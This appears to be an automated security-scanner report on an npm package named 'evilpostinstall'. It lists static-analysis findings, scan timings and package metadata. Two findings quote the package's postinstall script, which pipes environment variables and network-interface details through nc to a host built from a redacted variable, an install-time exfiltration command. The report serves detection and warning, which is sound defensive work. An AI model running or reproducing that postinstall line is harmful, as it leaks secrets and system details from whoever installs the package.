---
canonical: "https://firewall.lpm.dev/npm/evilpostinstall"
markdown: "https://firewall.lpm.dev/npm/evilpostinstall/report.md"
package: "evilpostinstall"
report_status: "under_review"
title: "evilpostinstall@0.4.0 npm security report"
verdict: "suspicious"
version: "0.4.0"
---

# evilpostinstall@0.4.0 npm security report

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## Verdict summary
**Flagged — allowed with a warning** — Allowed by default policy, but 6 finding(s) warrant review before installing.

- **Verdict:** Suspicious
- **Product-default install policy:** Warn
- **Firewall policy:** Matched warn-list
- **Public report status:** Under Review
- **Threat category:** None published
- **Selected version:** 0.4.0
- **Selected version is latest:** Yes
- **Analysis source:** Static Scan Results (rust-scanner)

Static analysis flagged 6 finding(s) at 86.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Suspicious
- **Confidence:** 86.0%
- **Started:** 2026-08-31T18:01:40.651Z
- **Finished:** 2026-08-31T18:01:40.925Z
- **Download time:** 256 ms
- **Static scan time:** 18 ms
- **AI review time:** Not available
- **Total time:** 274 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/evilpostinstall@0.4.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/evilpostinstall@0.4.0/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = (env; ip addr) | nc "$(echo "$npm[redacted]" | cut -d. -f1-2).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b 2-4).$(echo "$npm[redacted]" | cut -d. -f3- | cut -b...
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Ships Compressed Blob
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** evilpostinstall-192.168.1.100.tgz
- **Public source:** [View source](<https://unpkg.com/evilpostinstall@0.4.0/evilpostinstall-192.168.1.100.tgz>)

Package ships compressed or archive-like blobs.

Public source snippet (untrusted):

```text
path = evilpostinstall-192.168.1.100.tgz
kind = compressed_blob
sizeBytes = 1017
magicHex = [redacted]
```

### 5. Low: Nested Archive Needs Inspection
- **Category:** Artifact Inventory
- **Confidence:** 80.0%
- **Path:** evilpostinstall-192.168.1.100.tgz
- **Public source:** [View source](<https://unpkg.com/evilpostinstall@0.4.0/evilpostinstall-192.168.1.100.tgz>)

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

Public source snippet (untrusted):

```text
path = evilpostinstall-192.168.1.100.tgz
kind = nested_archive_needs_inspection
sizeBytes = 1017
magicHex = [redacted]
```

### 6. High: Semantic Analysis Limited
- **Category:** Scanner Coverage
- **Confidence:** 100.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/evilpostinstall@0.4.0/package.json>)

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Public source snippet (untrusted):

```json
stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** evilpostinstall
- **Ecosystem:** npm
- **Version:** 0.4.0
- **License:** BSD-2-Clause
- **Version published:** 2026-08-31T18:00:44.396Z
- **Package first seen:** 2026-08-31T15:34:10.145Z
- **Package last seen:** 2026-08-31T19:00:09.627Z
- **Known versions:** 5
- **Latest version:** 0.4.0
- **Appeal under review:** No
- **Description:** Assess the system running postinstall
- **Maintainers:** npmtestpackage
- **Artifact files:** 4
- **Artifact unpacked size:** 2,799 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/evilpostinstall>)